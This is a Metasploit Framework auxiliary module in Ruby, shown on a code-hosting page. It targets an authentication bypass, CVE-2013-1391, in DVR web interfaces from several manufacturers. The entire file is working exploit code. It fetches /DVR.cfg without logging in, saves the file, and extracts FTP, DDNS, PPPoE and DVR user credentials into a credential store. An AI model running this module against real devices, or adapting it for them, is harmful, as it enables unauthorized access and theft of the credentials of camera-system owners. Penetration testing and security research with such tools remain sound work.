Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'Multiple DVR Manufacturers Configuration Disclosure',
14
'Description' => %q{
15
This module takes advantage of an authentication bypass vulnerability at the
16
web interface of multiple manufacturers DVR systems, which allows to retrieve the
17
device configuration.
18
},
19
'Author' => [
20
'Alejandro Ramos', # Vulnerability Discovery
21
'juan vazquez' # Metasploit module
22
],
23
'References' => [
24
[ 'CVE', '2013-1391' ],
25
[ 'URL', 'http://www.securitybydefault.com/2013/01/12000-grabadores-de-video-expuestos-en.html' ]
26
],
27
'License' => MSF_LICENSE
28
)
29
end
30
31
def get_pppoe_credentials(conf)
32
user = ""
33
password = ""
34
enabled = ""
35
36
if conf =~ /PPPOE_EN=(\d)/
37
enabled = $1
38
end
39
40
return if enabled == "0"
41
42
if conf =~ /PPPOE_USER=(.*)/
43
user = $1
44
end
45
46
if conf =~ /PPPOE_PASSWORD=(.*)/
47
password = $1
48
end
49
50
if user.empty? or password.empty?
51
return
52
end
53
54
info = {
55
:host => rhost,
56
:username => user,
57
:password => password
58
}
59
60
report_note({
61
:host => rhost,
62
:data => info,
63
:type => "dvr.pppoe.conf",
64
:sname => 'pppoe',
65
:update => :unique_data
66
})
67
end
68
69
def get_ddns_credentials(conf)
70
hostname = ""
71
user = ""
72
password = ""
73
enabled = ""
74
75
if conf =~ /DDNS_EN=(\d)/
76
enabled = $1
77
end
78
79
return if enabled == "0"
80
81
if conf =~ /DDNS_HOSTNAME=(.*)/
82
hostname = $1
83
end
84
85
if conf =~ /DDNS_USER=(.*)/
86
user = $1
87
end
88
89
if conf =~ /DDNS_PASSWORD=(.*)/
90
password = $1
91
end
92
93
if hostname.empty?
94
return
95
end
96
97
info = {
98
:host => hostname,
99
:user => user,
100
:password => password
101
}
102
103
report_note({
104
:host => rhost,
105
:data => info,
106
:type => "dvr.ddns.conf",
107
:sname => 'ddns',
108
:update => :unique_data
109
})
110
end
111
112
def get_ftp_credentials(conf)
113
server = ""
114
user = ""
115
password = ""
116
port = ""
117
118
if conf =~ /FTP_SERVER=(.*)/
119
server = $1
120
end
121
122
if conf =~ /FTP_USER=(.*)/
123
user = $1
124
end
125
126
if conf =~ /FTP_PASSWORD=(.*)/
127
password = $1
128
end
129
130
if conf =~ /FTP_PORT=(.*)/
131
port = $1
132
end
133
134
if server.empty?
135
return
136
end
137
138
report_cred(
139
ip: server,
140
port: port,
141
service_name: 'ftp',
142
user: user,
143
password: password,
144
proof: conf.inspect
145
)
146
end
147
148
def report_cred(opts)
149
service_data = {
150
address: opts[:ip],
151
port: opts[:port],
152
service_name: opts[:service_name],
153
protocol: 'tcp',
154
workspace_id: myworkspace_id
155
}
156
157
credential_data = {
158
origin_type: :service,
159
module_fullname: fullname,
160
username: opts[:user],
161
private_data: opts[:password],
162
private_type: :password
163
}.merge(service_data)
164
165
login_data = {
166
core: create_credential(credential_data),
167
status: Metasploit::Model::Login::Status::UNTRIED,
168
proof: opts[:proof]
169
}.merge(service_data)
170
171
create_credential_login(login_data)
172
end
173
174
def get_dvr_credentials(conf)
175
conf.scan(/USER(\d+)_USERNAME/).each { |match|
176
user = ""
177
password = ""
178
active = ""
179
180
user_id = match[0]
181
182
if conf =~ /USER#{user_id}_LOGIN=(.*)/
183
active = $1
184
end
185
186
if conf =~ /USER#{user_id}_USERNAME=(.*)/
187
user = $1
188
end
189
190
if conf =~ /USER#{user_id}_PASSWORD=(.*)/
191
password = $1
192
end
193
194
if active == "0"
195
user_active = false
196
else
197
user_active = true
198
end
199
200
report_cred(
201
ip: rhost,
202
port: rport,
203
service_name: 'dvr',
204
user: user,
205
password: password,
206
proof: "user_id: #{user_id}, active: #{active}"
207
)
208
}
209
end
210
211
def report_cred(opts)
212
service_data = {
213
address: opts[:ip],
214
port: opts[:port],
215
service_name: opts[:service_name],
216
protocol: 'tcp',
217
workspace_id: myworkspace_id
218
}
219
220
credential_data = {
221
origin_type: :service,
222
module_fullname: fullname,
223
username: opts[:user],
224
private_data: opts[:password],
225
private_type: :password
226
}.merge(service_data)
227
228
login_data = {
229
core: create_credential(credential_data),
230
status: Metasploit::Model::Login::Status::UNTRIED,
231
proof: opts[:proof]
232
}.merge(service_data)
233
234
create_credential_login(login_data)
235
end
236
237
def run_host(ip)
238
res = send_request_cgi({
239
'uri' => '/DVR.cfg',
240
'method' => 'GET'
241
})
242
243
if not res or res.code != 200 or res.body.empty? or res.body !~ /CAMERA/
244
vprint_error("#{rhost}:#{rport} - DVR configuration not found")
245
return
246
end
247
248
p = store_loot("dvr.configuration", "text/plain", rhost, res.body, "DVR.cfg")
249
vprint_good("#{rhost}:#{rport} - DVR configuration stored in #{p}")
250
251
conf = res.body
252
253
get_ftp_credentials(conf)
254
get_dvr_credentials(conf)
255
get_ddns_credentials(conf)
256
get_pppoe_credentials(conf)
257
258
dvr_name = ""
259
if res.body =~ /DVR_NAME=(.*)/
260
dvr_name = $1
261
end
262
263
report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "DVR NAME: #{dvr_name}")
264
print_good("#{rhost}:#{rport} DVR #{dvr_name} found")
265
end
266
end
267
268